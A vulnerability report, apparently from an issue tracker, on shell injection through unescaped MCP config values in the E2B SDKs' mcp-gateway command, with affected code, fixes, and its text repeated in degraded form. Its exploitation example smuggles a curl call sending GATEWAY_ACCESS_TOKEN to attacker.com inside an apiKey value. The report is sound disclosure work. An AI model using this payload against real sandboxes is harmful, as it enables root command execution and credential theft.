Description
When creating a sandbox with an mcp config, both the Python and JS/TS SDKs interpolate json.dumps(mcp) / JSON.stringify(mcp) directly into a shell command wrapped in single quotes. Since json.dumps() does not escape single quotes in string values, any MCP config containing a single quote in a value (e.g., an API key, token, or URL) breaks out of the shell quoting and allows arbitrary command execution as root inside the sandbox.
Affected Code
Python SDK (packages/python-sdk/e2b/sandbox_async/main.py, line 214):
res = await sandbox.commands.run(
f"mcp-gateway --config '{json.dumps(mcp)}'",
user="root",
envs={"GATEWAY_ACCESS_TOKEN": token},
)
Same pattern at 4 locations in Python SDK (sandbox_async/main.py:214, sandbox_async/main.py:579, sandbox_sync/main.py:211, sandbox_sync/main.py:580).
JS SDK (packages/js-sdk/src/sandbox/index.ts, lines 301 and 396):
`mcp-gateway --config '${JSON.stringify(sandboxOpts?.mcp)}'`,
Proof of Concept
import json
mcp = {"servers": {"test": {"envs": {"KEY": "it's a value"}}}}
cmd = f"mcp-gateway --config '{json.dumps(mcp)}'"
print(cmd)
# Output: mcp-gateway --config '{"servers": {"test": {"envs": {"KEY": "it's a value"}}}}'
# ^^ breaks out of single-quote
Exploitation:
mcp = {"servers": {"x": {"apiKey": "x'; curl attacker.com/exfil?t=$GATEWAY_ACCESS_TOKEN; echo '"}}}
# Shell parses: mcp-gateway --config '{...x' && curl attacker.com/exfil?... && echo '...'
Impact
- Arbitrary command execution as root inside the sandbox
- Potential exfiltration of
GATEWAY_ACCESS_TOKEN environment variable
- The
McpServer TypedDict accepts dozens of user-supplied string fields (personalAccessToken, apiKey, password, url, etc.) that naturally may contain special characters
While commands run inside the E2B sandbox (limiting blast radius), the injection still allows:
- Modifying sandbox state before the user interacts with it
- Exfiltrating environment variables and credentials
- If
allow_internet_access=True (default), sending data externally
Proposed Fix
Option A — Use shlex.quote() (Python) / proper shell escaping (JS):
import shlex
res = await sandbox.commands.run(
f"mcp-gateway --config {shlex.quote(json.dumps(mcp))}",
user="root",
envs={"GATEWAY_ACCESS_TOKEN": token},
)
Option B — Pass config via environment variable instead of CLI argument:
res = await sandbox.commands.run(
"mcp-gateway",
user="root",
envs={
"GATEWAY_ACCESS_TOKEN": token,
"MCP_CONFIG": json.dumps(mcp),
},
)
|
Option A |
Option B |
| Complexity |
Minimal |
Requires mcp-gateway change |
| Shell injection risk |
Eliminated |
Eliminated |
| Breaking changes |
None |
Requires mcp-gateway to read env var |
Environment
- Python SDK: latest
- JS SDK: latest
- Files:
sandbox_async/main.py, sandbox_sync/main.py, sandbox/index.ts
I'm happy to open a PR for this fix if you'd like.
Description
When creating a sandbox with an
mcpconfig, both the Python and JS/TS SDKs interpolatejson.dumps(mcp)/JSON.stringify(mcp)directly into a shell command wrapped in single quotes. Sincejson.dumps()does not escape single quotes in string values, any MCP config containing a single quote in a value (e.g., an API key, token, or URL) breaks out of the shell quoting and allows arbitrary command execution as root inside the sandbox.Affected Code
Python SDK (
packages/python-sdk/e2b/sandbox_async/main.py, line 214):Same pattern at 4 locations in Python SDK (
sandbox_async/main.py:214,sandbox_async/main.py:579,sandbox_sync/main.py:211,sandbox_sync/main.py:580).JS SDK (
packages/js-sdk/src/sandbox/index.ts, lines 301 and 396):Proof of Concept
Exploitation:
Impact
GATEWAY_ACCESS_TOKENenvironment variableMcpServerTypedDict accepts dozens of user-supplied string fields (personalAccessToken,apiKey,password,url, etc.) that naturally may contain special charactersWhile commands run inside the E2B sandbox (limiting blast radius), the injection still allows:
allow_internet_access=True(default), sending data externallyProposed Fix
Option A — Use
shlex.quote()(Python) / proper shell escaping (JS):Option B — Pass config via environment variable instead of CLI argument:
Environment
sandbox_async/main.py,sandbox_sync/main.py,sandbox/index.tsI'm happy to open a PR for this fix if you'd like.